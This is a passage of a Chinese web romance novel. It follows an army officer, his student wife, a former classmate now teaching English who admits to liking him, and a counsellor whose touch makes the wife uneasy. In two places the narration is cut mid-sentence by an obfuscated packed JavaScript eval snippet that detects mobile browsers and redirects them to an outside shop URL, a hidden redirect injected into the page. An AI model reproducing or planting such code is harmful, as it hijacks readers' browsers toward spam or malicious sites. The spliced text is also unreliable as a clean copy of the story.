“熟么?”孟京阳平淡反问,“正常的同学关系,近几年她一直在国外,联系并不多。” “我听人说,她直接去国外读的博士,很厉害了。” 聂宇歆羡道,孟京阳看她表情,这才明白她刚那句话并没有试探的意思,是纯关心和好奇。 “你也能做到。” 这话孟京阳说的真心实意,聂宇听完笑了,整个人又明媚起来。孟京阳心情也跟着好了,前方一路畅通,他踩了下油门,飞驰而过。 - 当晚,俩人回到了自己的小家,度过了一个温馨充实的夜晚。第二天聂宇要起早赶回学校,因为临时有老师将课调到了周日,这一天她不能休息。于是孟京阳也决定提前回团里,将一些工作收收尾。 看时间还宽裕,他先送了趟聂宇。在从学校回来的路上,他刚配好还没怎么用的手机忽然响了,他拿过来看了一眼,按下了接听键。 “是京阳吗?我是沁蕾。”庄沁蕾的声音从电话里传出,孟京阳有些意外,便将车停在了路边,接起了电话。 “有事?”他下意识问。 那边顿了下,笑着反问:“没事儿就不能给你打电话了?” 孟京阳微一眯眼,然后笑了,说:“不是这个意思。你怎么知道我的号码?” “问的老曹。本来想找应烽,但那小子跟你一样,人一进了部队就联系不上。” 庄沁蕾抱怨道,并不晓得应烽是故意不接她电话的。他很怕她再来跟他打听孟京阳的事儿,到时候兄弟和女人他选谁?他太难做了! “最近是都有些忙。”孟京阳不咸不淡地接一句,等着她的下文。 庄沁蕾先是笑“嗯”一声,又问:“这会儿有没有时间,我们见一面?” 孟京阳有些犹豫。 如果没有聂宇夹在中间,他不太想跟庄沁蕾扯上什么交集,对己对他都没有太大的意义。可现在对方是聂宇的英语老师,要在一起相处两年,若是这一点薄面都不给,岂非会影响聂宇和她的关系? 孟京阳在心底喟叹一声,觉得无论庄沁蕾有没有那方面的意思,他最好还是跟她表明态度。朋友可以做,其他的就不用再谈,这是他的底线。 “好,地址你选吧。” - 庄沁蕾选了他们高中附近的一家咖啡馆,距离孟京阳现在的位置并不远。挂掉电话之后,他一打方向盘调转了方向,立刻驱车前往。 到的时候庄沁蕾已经在座,孟京阳不顾店里那些店员和仅有的两三位顾客看向他时的诧异目光,径直走到了她对面,落座。 庄沁蕾正沉浸在自己的心事里,看见孟京阳也是颇为意外:他竟是穿着一身军装来这种地方。而他穿的这身迷彩服,在社会上某些低收入阶层也蛮流行的。 当然,孟京阳穿起来感觉肯定不一样,但庄沁蕾还是忍不住一笑。 “你怎么穿着这身就来了?”她笑问,语气中带着一丝不易察觉的嗔怪。 “见完你就要回部队,穿这身方便。”孟京阳不以为意道。 “这么说,孟大首长是顺路来见我了?”庄沁蕾端起茶壶往他面前的杯子里缓缓注入,顺便介绍,“不知道你喝不喝得惯咖啡,就点的大吉岭红茶。你尝尝看,不喜欢就再点,我请客。” “客气了,我不讲究。” 孟京阳微微一笑,端起杯子尝了口,然后又平缓放下。庄沁蕾对上他的目光,见他明晃晃一副来说事儿而非叙旧的样子,只得放下心中那些杂思,出言道:“你肯定是想问我找你什么事。其实,也不是很重要的事,我就是想知道你为什么和虹嘉分手。当时,你们两人之间发生了什么。” 这个意图让孟京阳一怔,他没想到她是来问林虹嘉。 “怎么想知道这个?”孟京阳不动声色地将问题推回去。 “因为毕竟你俩第一次见面是我带林虹嘉过去的,也算你和她的牵线人吧,搞成这样我很内疚呀。” “……”孟京阳都快忘了,当初他和林虹嘉那件事里,还有她的存在。 那是四年多前的事了。某一个夏日的午后,他和一些发小朋友在燕城附近的著名海滨城市滨城短聚。当时他们去的是某疗养院的海滨浴场,不知是谁起兴,说想学游泳,还声称要从市游泳队里找专业的人来教。 当时真是想一出是一出,但还真叫其中一个给联系到了人,第二天就从燕城开车过来了。领头的便是庄沁蕾,她母亲是体育局的,有体校资源,想在市队里找几个人再简单不过。而她那会儿正好放假回国,听说孟京阳也在,就跟着一起过来了。 来了三个教练,两男一女,女的就是林虹嘉。 说起林虹嘉来,她其实并不是绝色美人,甚至因为练体育身材也不怎么削瘦苗条。但她白,且富有生命力,做起事来很认真,这一点就足够大家对她生出好感。 三个教练中,其余两个男的都是带着结交人脉的目的来的,唯独她是真的来教游泳。至少庄沁蕾当时是这么认为的,直到后来得知孟京阳和她谈上了的消息。 收回思绪,庄沁蕾看着孟京阳,等待着他的答案。而孟京阳也很快回神,看着她说:“不用在意,即便是谈也是我要跟她谈的,与你没有太大关系。” 庄沁蕾听到这话,心中某处紧缩了下。所以当年,他们两人之间是他主动的? “好吧。”庄沁蕾故作洒脱道,“反正也是过去的事了,只要你不怪我,我就不多追问。” “感谢理解。” 孟京阳轻笑,端起茶杯喝茶,又听庄沁蕾问:“那谈一谈你和小聂吧,听说你们相处也不久啊,不会是迫于家庭压力,赶紧结婚了事吧?” 庄沁蕾用开玩笑的语气说出这番话,却让孟京阳皱起了眉头。 “听谁说的?”他问。 “不少。知道你结婚的人不少,说这话的……也不少。”庄沁蕾摩挲着手中的茶杯,是有些紧张的表现,“具体是谁不能告诉你,毕竟我又不是来挑拨离间的。” “那你是想做什么?”孟京阳一掀眼睫,看着她问道。 -66- 庄沁蕾被他看的一激灵,险些心虚了。但她还是稳了下来,说:“我是来搞破坏的。” 她的口吻毫不客气:“我就是想告诉你,现在一切都在向前看,旧的东西已经不能束缚任何人。所以,但凡你在某些事上有丁点犹豫,都不该委曲求全。” 庄沁蕾说到这里,被孟京阳抬了下手打断。 “庄老师,你学历水平很高,想必记性应该也不错。那天在科大相遇,我是怎么向你介绍聂宇的?” 孟京阳这样问她,庄沁蕾有些莫名,但还是下意识回答:“你说她是你爱人——” 说到“爱人”这两个字,庄沁蕾停顿了一下,似是明白了什么。她抬眸用眼神向孟京阳求证,孟京阳表情泰然,显然是在说:就是你理解的意思。 庄沁蕾稍稍失语。她以为,所谓的“爱人”不过就是个代称,却没想到在他这里竟还有了实际意思,且还是还原了最根本语义的那一种。 “这样说来,你们两情相悦?”庄沁蕾还是确认了下。 “可能你不了解我。”孟京阳微微一笑,“我这人从不委屈自己。曾经是,现在也是。” 这话仿佛意有所指,庄沁蕾脸上难免有些挂不住了。 “京阳,你这样让我有些尴尬。”庄沁蕾也笑了一笑,“我呢,确实是对你心存好感,所以才说出上面那番话。但如果——” 庄沁蕾耸了下肩,洋范儿十足,“如果你过得很好,那我当然也会祝福。虽然这会让我有一点难过,但我想我会调理好。” 孟京阳看不出来她这是在为自己打圆场,还是在国外待久了受那边文化影响,真的将感情看得如此开。也许是他过时了,就跟身上穿的这身衣服一样,但他还是更喜欢含蓄一点的表达方式。 “很抱歉,但我希望这不要影响到你和聂宇之间的关系。”当然了,涉及到自己爱人,孟京阳觉得可以直接一些。 “你放心,这点专业度我还是有的。”庄沁蕾假装不悦地嗔他一眼,“当时你和虹嘉在一起,我也没说什么吧?” 你又能说什么呢?你又算是我的谁呢? 孟京阳心里冒出这样两句反问,面上却仍是保持体面的微笑。 “是我狭隘了。”他说。 结束了这个问题,又简单叙了两句旧,孟京阳借口部队还有事,先一步离开了。临走前,他坚持买了单。 庄沁蕾同他一起出咖啡馆,站在路边看着越野车远去的影子,微微眨一眨眼。 说老实话,如今的孟京阳跟她想要的那个人有些差距。她甚至无法想象,她如何跟穿着这样一身衣服的他走进各种光鲜亮丽的社交场。 但是——庄沁蕾不可否认,当她跟他相处和谈话的时候,有些控制不住地被他吸引。就像刚才他向她投来那样锐利的一眼,质问她的动机时,她除了感到一瞬的惶恐外,更多的竟是觉得兴奋和刺激,像是遇到了势均力敌的对手一般。 骨子里的东西还是不会变,他用这一点证明了他值得追求和争取。唯一麻烦的是,他身边已经有人了。 - 聂宇并不晓得在咖啡馆发生的这一切,她回到学校之后就马不停蹄地上课,然后是准备比赛。 正式的比赛在第二天就打响了,先是小组赛,然后是淘汰赛。这几天计算机学院的姑娘们尤其辛苦,因为别的学院人数众多,还可以分个一二队,轮流上。但计算机学院是好不容易凑齐的五个人,谁也歇不得。就这样苦战了几天,最后被人文学院的女生斩下了马,获得了第五名的成绩。学校为了奖励她们的辛苦,给她们颁了一个优秀奖。 同院的男生队表现还算优异,最起码站上了领奖台。对比之下,女生们的落差更大了,比赛结束之后冯瑛居然还哭了。 林虹岩全程跟到了最后,见冯瑛难过,主动安慰了她。他将所有人集合过来,说:“同学们,在这一次的气排球比赛中,我们学院的男生队,取得了有目共睹的优秀成绩,他们斩获了铜牌,站上了领奖台。而我们的女生队,在我看来是虽败犹荣,因为你们真的是太不容易了,没有一刻松懈,一直拼搏到最后一场,我为你们感动、骄傲!” 林虹岩说着,脸因激动而微微发红。 “都不要难过,这一次的结果我非常惊喜,学院也是。现在我还不确定院里会不会有所表示,但我个人要奖励你们,我要谢谢我的好战友们!” 有奖励,且还是来自林虹岩,众人在惊讶之余又有几分开心,女孩子们的难过都被冲淡了些许。至于林虹岩要奖励什么,答案在几天后揭晓:请他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654991|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们吃饭。 作为一名尚未完全转正的辅导员,林虹岩每个月的工资并不多,据说还要往家中回寄一部分。但他还是大手一挥,请他们去了市中心颇有名的那家火锅店,吃涮羊肉。这是男生队的提议,他们说燕城的冬天正是吃涮羊肉的好时节。 女生们没有异议,林虹岩便将聚餐的地点定在了那里,到了那天之后所有人从学校一起出发,一起坐公车赶到了火锅店。足有近二十号人,占了该店最大的一间包房,还另加了一个小桌子才堪堪坐下所有人。林虹岩笑着让服务员拿过菜单来,吩咐在场的所有人放开了点。 果然,立刻就有人十分不客气,一口气要了好几盘羊肉。这惹来女孩们的抗议,怕他们把林老师吃穷。 “林老师都放话了,你们能不能别这么小气!”班长张翀推推鼻梁上的眼睛,说道。 姑娘们无奈,腼腆的鲁静竟主动对林虹岩抱怨:“林老师,就不该听他们的来吃火锅,那一盘羊肉够他们吃几筷子呀。” “那你说吃什么呀?”一个男生反问。 “应该吃炒菜配米饭馒头,到时候不够吃了就让你们汤汁儿拌饭,馒头就咸菜。” 这话逗乐了在场不少人,林虹岩抬手压一压,笑着对学生们说:“尽管点吧,吃不穷我的。” 有了这话,大家都放心了许多。但还是没敢真放开,方才那几个男生也不过是开开玩笑而已。还是林虹岩最后接过菜单,追加了几盘肉。 经过这个小插曲,老师和学生之间的距离瞬间拉近了不少,大家相互之间说笑着,气氛十分热闹。在这之中,偏有一个人显得不很合群,那就是聂宇。她坐在一个角落里,端着一杯热水喝着,不怎么说话。 她今天其实有些发烧。本来并不是很想来,但她作为女生队长不露面,未免太扫林虹岩面子,只好强打起精神出席。来的路上又有些着凉,导致现在浑身发抖,只好喝点热水缓一缓神,恍恍惚惚间,听着大家聊天——这会儿已经开始八卦林虹岩了。 经过一番执着盘问,大家得知林虹岩家在东边,年方二十六,单身等一系列情况。除此之外,让大家惊异的是他居然有两对父母。 “这怎么回事?” 一个男人吃红了脸,大着舌头追问道。林虹岩笑一笑,开始为大家解疑:“我现在的父母,其实最早我是叫他们叔叔婶婶的。他们原先有一个儿子,后来因意外去世了,我父母就把我过继了过去。” “啊?那林老师你家里还有哥哥或者弟弟吗?”冯瑛问。 “没了。”林虹岩摇摇头,“只有一个姐姐,现在在南边。” “天呐,那你家岂不是要——”冯瑛本来想说“断后”,想想这个词含义不太好,慌忙又吞了回去。 “林老师,你爸妈也太大方了,太……伟大了。”田舒云说。要知道在林虹岩老家,对香火传承这一类是颇为看重的,肯把自家唯一的男孩儿舍出去,这是多大的牺牲呢。 “问题不大,反正都姓林。而且,我们家至少还有一个。” 林虹岩笑着说,然后提起面前盛满果汁的杯子,提议大家碰杯。众人便很默契地将这个话题揭过了。 聂宇没动。看着仿佛是在思索,其实已经神游好一会儿了。盘里有田舒云见她不动筷主动给她夹过来的各种食物,聂宇没怎么吃,觉得有些反胃。正待她想问服务员要一小块儿烧饼填填肚子的时候,林虹岩端着杯子向她这边走过来了,最后竟停留在了她身边。聂宇一怔,被田舒云推了下,才赶紧端起杯子起身。 “都吃你们的。” 笑着挡回了众人因好奇投注过来的目光,林虹岩压低声音,向聂宇说道:“聂宇,我思来想去,还是应该再向你道个歉。当初鲁静受伤,我对你的态度不好,过分迁怒到了你,请你原谅。” 这话一出,说愣了两个人。一个是聂宇,另一个是鲁静。她有些想不明白,林老师居然会为曾经责怪聂宇而道歉。那么,因为受伤而给了聂宇许久冷脸看的她,又算怎么回事呢? “没事的,林老师,那件事我早就忘了。”聂宇回过神来立刻说道,语气很是真挚。她确实不记得了。 “你忘了,我不能忘。”林虹岩微微一笑,“这次比赛你付出了很多,我感谢你都不为过,更不能委屈了。不能喝酒,我就用这杯饮料向你赔罪了。” 林虹岩说完一饮而尽,聂宇也立刻举起杯子往嘴里灌,却已忘了杯子里的水早被她喝空。聂宇有些尴尬,想倒了水再举杯,被林虹岩拦住了。 “不要紧,你坐下吧。” 和煦地丢下这句话,他笑着回到原位。 - 这一晚,众人一直闹到快十点。公共交通早已停运,又下起了小雪,大家决定一起走回学校,反正也不远。 聂宇想了想,决定回家去。她确定自己是病了,想回家里好好休息一下。正好明天也是周末,不用上课。 聂宇把自己的决定告诉了林虹岩,让他们先回去。她刚才下楼的时候已经借用了饭店的外线,给干休所那边打了电话,麻烦小戚来接她一趟。 林虹岩表示了同意,却让田舒云和张翀带着其他人先走,他留下来陪她,等着。聂宇连摆手说不必,但林虹岩坚持,说要保证她的安全。 聂宇不免有些后悔,但事已至此,她实在不想在生病的时候回那个糟心的宿舍,只好接受林虹岩的好意。 “谢谢林老师,一会儿接我的车来了,我会请他先送您回学校。”一起走到公交站牌下,聂宇主动表示道。 “再说吧,吃了这么多,走回去就当消食了。” 此时此刻的林虹岩仿佛卸下了师长的架子,更像个师兄了。他眸光温润地看着聂宇,问她:“今晚看你没怎么吃东西,是不太舒服吗?” “是有点儿感冒。”聂宇惭愧一笑,“家里有药,回去服下就好了。” “数九寒天最容易生病,注意身体。” 林虹岩轻声叮嘱,聂宇点了点头,对他的关心表示了感谢。而后两人同时陷入沉默,看着在路灯下摇晃飞舞的雪粒子,感受这一刻的万籁俱寂。 “林老师,有个问题或许很冒昧,但我想——”过了一会儿,聂宇出声打破沉默,同时看向林虹岩,“您这么优秀,怎么会选择读科大的思政专业研究生呢?” 林虹岩的眸子闪动了下,确实感觉到意外。但在短暂的思索后,他还是回答了聂宇:“只能说,时也命也。” 他说完这句,轻轻笑了下。聂宇没太听懂,但看出他好像不太想谈,便也没再继续问。或许这里面真有什么不为人知的故事吧,但靠她是挖掘不出来了。 “怎么想起来问这个?” 林虹岩反过来问她,聂宇尴尬笑笑,没好意思说是因为这个曾经被舍友八卦无果的问题正好在此刻被她想起而已。当然,聂宇也觉得林虹岩这个选择很迷惑,就思政专业来说,实力最雄厚的学府并不是科大。而最好的那一所学校,她相信以林虹岩的实力,并不一定考不上。 “没什么,就是忽然——” 聂宇笑着想解释,说到一半却猛然顿住,呼吸一滞。因为林虹岩突然抬起手,伸向她的头顶。 “原来是一小撮鸭绒,灯光下看还以为是雪落上去了一直没化。”林虹岩看着从聂宇头上摘下的东西,微笑说道,“你毕竟还感冒,可不能再着凉了。” 无论是语气还是动作,都无比自然,但聂宇却倍感不适。她迟疑几秒,正要开口道句谢,被右侧路口拐角处传出来的车喇叭声打断。 聂宇循着车前两个大灯那有些刺眼的光束看过去,认出了那是来接她的车。但开车的人并不是小戚,而是孟京阳。 34.67-68 -67- 看见来人是他,聂宇震惊万分。而在她消化事实的这几秒,孟京阳已经将车子开了过来,停在了距离她一米多远的地方,打开车门下了车。 “怎么是你来?”看到完整的人出现在自己眼前,聂宇回过神来了。她慌忙往前走了两步,迎了上去。 “你给小戚打电话的时候,我正好刚到家。” 简单解释了句,孟京阳就将目光移向了林虹岩。聂宇动动嘴唇,没再说话。她其实想问的是他今晚怎么回来了,原定的不是应该在一两周后吗? “林老师,又见面了。” 这一回孟京阳穿的是冬常服,肩上两杠一星的肩章在路灯和雪光的映衬下熠熠生辉,整个人也颇具威严。林虹岩迟了一两秒才伸出去右手,回应他的问候。 “你好,小聂家属。”林虹岩笑一笑说,“你来了我就算完成任务了,天冷,你们快回去吧。” “不急,占用你的时间在这儿陪小宇,我先送你回学校吧。”孟京阳说。 “不用麻烦。”林虹岩微笑拒绝,“我跟小聂说好了,要走着回去。今晚吃多了,正好消食儿。” “……”孟京阳没说话,看向聂宇,仿佛是确认,也仿佛是问她的意思。 聂宇本来是想送林虹岩回去的。但一来发生了刚才那个让她不适的瞬间,二来,现在来接她的人有所改变。聂宇下意识觉得,还是不要坚持比较好。 “那林老师,我们改天学校见?” 聂宇这样说着,见林虹岩点点头,又回看孟京阳。孟京阳示意她先上车,待副驾门关上后,他向林虹岩告别:“那我们就先回去了,林老师回去路上注意安全。” “好。” 林虹岩继续微笑应声,看着孟京阳上车,然后驱车带着聂宇离开。 - 雪渐有下大的趋势,外面窸窸窣窣,车里却异常沉默。 孟京阳上车就加大了暖风烘热,一阵热意吹来,让聂宇感觉舒适许多。她看了眼在认真审视路况的某人,待车子行稳之后,才出声问道:“怎么今晚突然回来了?还以为要过一段时间呢。” 距离孟京阳上次休息还没过去多久,按照他以往的忙碌程度,间隔这么短他基本不会回来的。 “明天有事要去军区,今晚就先回来了。”孟京阳平静回答,看她一眼,提醒道,“安全带。” ?聂宇低头看了眼,发现自己安全带没系,赶紧系上。再抬头时,孟京阳已经移回了视线,在认真开车。 聂宇心里此刻有些擂小鼓。刚才孟京阳出现的时机过去凑巧了,以至于她怀疑他是不是看到了那让她不适的一幕。聂宇有心想解释,但又怕万一他没看见或者没多想,她自己这一说反倒弄巧成拙。 聂宇纠结片刻,决定暂且作罢。但与此同时她也没了再起话头的心思,不一会儿困意上涌,竟兀自打起了瞌睡。 孟京阳:“……” 十几分钟后,孟京阳将车子开回了家属院。有光透过车窗照进眼里,聂宇睁开眼,看看周围的景致,发现回的是他们的小家。 “怎么回这儿来了?”她下意识地问。 “这更近点儿,雪越来越大,不跑那么远了。”孟京阳瞅她一眼,语带玩味,“醒了?” “……”聂宇莫名有种羞愧感,不接他的话,只问,“那车怎么办?明天再开回干休所?不影响老爷子用车吗?” “老爷子去南边了,刚走没几天。”孟京阳说着,一把将车停进了楼下的一个空位,然后熄火拔钥匙,“到了,下车吧。” 两个人一前一后地进到单元楼,回了家。刚一进门,一股干燥的暖热袭来,聂宇没忍住,站在原地接连打了三四个喷嚏。随后,堵了大半晚上的鼻子终于畅通了,好不舒服。 孟京阳却皱起了眉头,换好鞋走到她面前,他问:“感冒了?” 聂宇点点头:“可能是着凉了,没事儿。” 孟京阳不听她的,用手探了探她的额温,一抬下巴示意:“先坐到沙发上去。” 聂宇乖乖听话地坐过去,一会儿觉得有些热便把棉服脱了,身上只穿一件浅色的毛衣。孟京阳过了会儿才过来,手里端着一杯刚烧好的热水,还有几粒药片。 “把药吃了。” “想先洗澡,身上都是火锅味儿。” 聂宇颇为嫌弃道。 “感冒了,今晚凑合一宿,明天再洗吧。” 孟京阳提议,聂宇坚决表示拒绝。 “不要,不行,不可以。” 到了自己的地盘儿,又是在孟京阳面前,她放松多了。孟京阳不由笑了下,示意她快去,尽量速战速决。 - 洗完一个澡出来,聂宇感觉舒坦多了。孟京阳在沙发上坐着,待她出来,让她立刻喝了药,去床上休息。 聂宇这会儿倒是来了精神,想跟他说会儿话,毕竟明天一早某人就要走了。但孟京阳却表示不配合,将人撵回床上之后,他立刻进了卫生间。 钻进温暖的被窝,聂宇一边任由这份安逸吞没自己勉强清醒的意识,一边在复盘孟京阳刚才的反应,得出一个结论就是某人似乎不高兴了。对此聂宇虽然感到意外,但不得不承认这是个事实。 于是她强撑着让自己不要睡着,等着孟京阳洗完澡回来。 孟京阳进屋的时候,看到的就是某人不停地眨眼来保持清醒的样子。心头一时发软,留下一盏床头灯后,他走过去掀被上床,问她怎么不睡。 聂宇“嗯”了一声,过一会儿才开口回答——或者说是反问:“孟京阳,你是不是不高兴了?” 孟京阳怔了下,发现这个问题不好回答。谁能想到呢,就是那么凑巧,让他刚好看见了林虹岩对聂宇“动手动脚”的那一幕。但要不要为此质疑什么,他还没想好,或者说理出头绪。方才一路回来,他都在思考这个问题,结果一转头,有人已经睡着。 想到聂宇竟如此“没心没肺”,孟京阳顿时就气不打一处来,转眸看向她,见她在缓慢地眨着眼皮,他忽然稍稍起身,向她倾了过去。 聂宇脑袋转了转,才意识到他是要吻她。一时间有些慌,瞌睡也被赶跑了一大半。她立刻用手捂住嘴,同时惊斥道:“你疯啦?我生病了,小心传染给你!” 孟京阳停了一下后,继续不为所动地施行他的企图。这态度也激起了聂宇的倔劲儿,她翻过身把脑袋几乎整个埋枕头里,严防死守,竭力不让他得逞。 然而就此却将整个后背暴露给了狡猾的敌人,孟京阳不由轻哂了下,扯过被子将她整个人盖严实,他略略低头,将吻落在了她露出的白皙脖颈上,慢慢地在那一片流连,沿着那道优美的颈线向下。 聂宇这会儿终于发现自己犯了个“顾头不顾尾”的大错,难不成这人本来就准备“声东击西”?奈何此刻已经木已成舟,聂宇无法,勉强抵抗一会儿后,不得不因体力不支头昏脑涨而投降。这一下可不得了,最后直接被某人吃干抹净。 好一会儿之后,雪继续下,房间里又恢复了静谧。孟京阳将人揽在怀里,被子严裹着后面,依旧俯首时不时亲吻聂宇的鬓边。怀中之人却不住轻喘着,伴随着细小的抽噎和抽气之声,听上去甚是可怜。聂宇简直不能动弹,过去了许久没忍住又抽动了一下,被孟京阳扣着后脑勺按在怀里亲。此时此刻,已经无人在意什么病不病,或传染不传染。 聂宇气的想捶床。 “你、你这个人,简直坏透了。”她低声抱怨,“我都生病了,还要留一堆烂摊子让我收拾。” 她指的是床上这个“犯罪现场”,简直荒唐得很。 “留着,等我回来洗。”孟京阳说。 这话可不是托辞。随着同床共枕的时间久了,最初聂宇为自己定的那个底线越来越守不住了,每次发现一些贴身衣服被孟京阳清洗干净后,她也没当初那么抗拒了。唉,人啊,妥协一次就会有无数次,就如同现在的她一样。 “等你回来就已经要腐化了好么……” 聂宇幽幽地,孟京阳被她逗乐,忍不住又想亲她了。 “你想抱怨我总不着家就直说,不要拐弯抹角。” 某人不要脸地曲解她的意思,聂宇听了却没有反驳。孟京阳顿时感觉心里像是被谁揪了一下似的,后悔开这个玩笑了。他用手轻抚着聂宇的背,像是安慰,又像是在表达歉意。 聂宇也渐渐安静下来,以至于孟京阳都以为她要就此睡了。结果就在某一秒,她忽而轻声开口道:“不要生气,林老师就是以为有一块雪落我头上了,怕加重我病情,就帮我取了下来。我觉得他没有别的意思,但我以后会跟他保持距离。” 孟京阳沉默几秒,没有说话。 他并不觉得事情像聂宇说的那么简单,或者说她自己心里其实也是清楚的,否则不会提出保持距离。但这个事情又着实可大可小,端看他要如何处理了。 回看两次跟这位林老师的接触经历,孟京阳都隐隐感觉到一种不适在其中,这让他莫名,也让他心生警惕。他忽然生出一个念头,那就是要不要深入了解一下这个“林老师”呢? 目前除了这三个字,他可以说是对他一无所知。 孟京阳在心里拿定主意,口吻便渐有缓和:“我知道,我相信我的澄澄。” ?原来饱足了的男人嘴能这么甜?聂宇决定使唤使唤他。 “你,抱我去洗澡,我懒得动。”她说。 -68- 第二天聂宇醒来的时候,孟京阳已经不在家了。她起床去洗漱,发现堆在卫生间的那些换洗衣物都不见了,转去阳台一瞧,果然已经被洗好并晾晒了起来。聂宇闻着淡淡的洗衣粉香气,内心甚是安恬,仿佛连病都已经好了。 算了,看在他如此勤快的份儿上,就再纵容他一回吧。聂宇愉快地想,瞬间原谅了自己的“毫无原则”。 - 在家里安心养了两天的病,周一回到学校的时候,聂宇已经没什么不适。她神清气爽地和舍友一起去了上课的教室,一边预习着功课,一边听几个女生聚在一起说小话。 关于林虹岩请的那顿饭的尾韵,还在他的学生中蔓延着,成为了他们茶余课后的谈资。聂宇听了之后心里当然有所触动,但她尽量让自己不要在意。 怀疑一个被很多人崇拜和喜爱的人的师德是一件很困难的事,受林虹岩一直以来的正面形象影响,聂宇事后再回想那晚的那个瞬间时,总是会难免找出一些理由,觉得有可能是自己多想。但她还是会保持跟林虹岩的距离,避免任何可能发生的误会。这不光是为了孟京阳,也是为了她自己。 在时间进入一月份之后,聂宇大一上的课业开始进入收尾阶段,各个科目的期末审查工作也逐渐被提上日程。不少人都感到了压力和紧迫,因为这毕竟是进入大学后的第一次考试,大家都想有个好的表现。 聂宇这段时间也没再回家,留在学校里安心上课和复习。多亏了一直以来的勤奋好学,聂宇的备考压力其实并不大,甚至连一直苦手的英语,她都不觉得太有负担。但她还是决定在这个科目上多下一点功夫,谁让她是课代表呢。 继那次停场车的一面之后,聂宇时隔小半个月才再次在课堂上见到庄沁蕾。据说她是受邀去当全国大学生英语演讲比赛的评委去了,名头前还冠了“首席”二字。再次见面,聂宇心里多少有些起伏,庄沁蕾却淡定亲和如故。在她的影响和带动下,聂宇也渐渐恢复了冷静,觉得自己有些小题大做。 当天课后,因为交接结课小作文的关系,聂宇多留了一会儿。等两人对完之后已经快十二点半,庄沁蕾看了眼表,提出请聂宇吃饭。 “这会儿食堂的饭肯定被抢光了,你去了大概只能吃点冷菜冷汤。”庄沁蕾笑说。 “没事儿,我随便对付一口就行啦。”聂宇婉拒道。 “那可不行。”庄沁蕾假意瞪眼,“女孩子身体健康最重要,你必须跟我去。” 聂宇只得接受她的邀约,两人一起回庄沁蕾的办公室放下作业,然后去了附近的教师食堂。 得知是在食堂里吃,聂宇心里松了一口气。她就怕庄沁蕾带她去吃什么大馆子,浪费时间不说,更浪费钱。要知道庄沁蕾肯定不会让她买单,而她又不想因此欠她什么情。 两人一人打了两个菜,在一个靠窗的位置坐下,一起享用午饭。聂宇大概算了一下这顿饭的价钱,决定等考完试后买些水果送到庄沁蕾的办公室。 一个老师请学生吃饭是一件相对正常的事,但莫名地,聂宇不想承庄沁蕾这个情。大概是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676539|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为这会让她感到一种关系上的不平等,而她会控制不住地将这种不平等代入到她与孟京阳之间。唉,兴许是她矫情了,但这一刻聂宇决定随心。 “Lila,方便说下你和京阳是怎么认识的吗?” 饭吃到一半的时候,庄沁蕾笑着问。而Lila,是聂宇的英文名,花一分钟翻英文字典起的那种。 聂宇轻咳一声,说:“就是很普通的长辈介绍,相亲。” 这是她和孟京阳对外的一致说辞,毕竟当初费那么大劲儿安排了一次“相亲”,不能浪费呀。 “相亲?”庄沁蕾有些意外,因为这种方式跟她预想的很有落差,非常不浪漫,也不像孟京阳的处事风格。但他能结这个婚就已经很让她惊异了,相比之下相亲这种庸俗方式已经算不了什么。 男人啊,平时再风流倜傥潇洒自如,对婚姻似乎也有一种执着,毕竟他们是最大受益者。所以假使孟京阳真的会为此做出什么妥协,她也可以理解。 “通过这种方式结成的婚姻,跟自由恋爱又有什么区别呢?感情深浅是不是有所不同?” 庄沁蕾装出一副很好奇的样子,肆无忌惮地打听着他们的隐私。而聂宇虽说对她没有太多防备,却也不是那种喜欢大谈特谈房中秘事的人。 “我只体验过其中一种,所以没法对比这两者有什么区别。但我想感情无论深浅,婚后都是需要精心滋养和维护的,否则早晚都会耗尽。” 聂宇体面而礼貌地回答,庄沁蕾笑一笑,一副很受教的样子。其实她确实赞同聂宇的观点,而且也不觉得维系一段男女感情有多难。说白了,无非床上那点事。在这一方面,合法夫妻具有天然的优势,但也有弊端——一些感情不深的会受这种低级快乐的蒙骗,以为这就是真爱。 “抱歉,我的问题有些冒昧了,这个话题就此打住。” 得不到自己想要的答案,庄沁蕾也不追问,找了个体面的话术结束讨论。她看着聂宇空掉的餐盘,一扬眉道,“吃饱了吗?要不要再打一些,或者来点儿饭后甜点?” “不了,我待会儿还想去游泳,中午不能吃太多。”聂宇示意了下被她放到一旁的书包,“我带了泳衣,打算吃完饭就去。” 下午没有课,聂宇准备挤出一个小时的时间去运动一下,活动一下筋骨。 “你喜欢游泳?”庄沁蕾讶然,“是有专门学过吗?” “小时候学过,和跳水一起练的,还差点儿进了市体校。后来家里反对,就当做业余爱好了,只为强身健体。” “你的意思是,这两项你已经练到了可以走职业道路的水平——”庄沁蕾说着,目光定定在她脸上审视片刻,忽有一种恍然大悟的感觉。 “别说——”她笑了,是觉得有趣,也觉得好笑,“你跟她还真有点儿像。” “跟谁?”聂宇不解。 “你不知道?”庄沁蕾更是惊异。 她说那句话是抱有一点刺激聂宇的意思的,没想到她居然都不知情。这下好了,庄沁蕾不知道自己该不该说,毕竟这不算一桩小事。 “我要知道什么?”聂宇隐约有一种预感,但她强压着情绪,让自己不要太激动。 “这话要说了,那我可真是要做一个恶人了。”庄沁蕾无奈道,语气中藏着七分真三分假,“京阳的前女友就是职业游泳运动员,他们第一次见面就是在泳池边,她来教他游泳。” “……”聂宇沉默了,这事她真的是头一回听说。 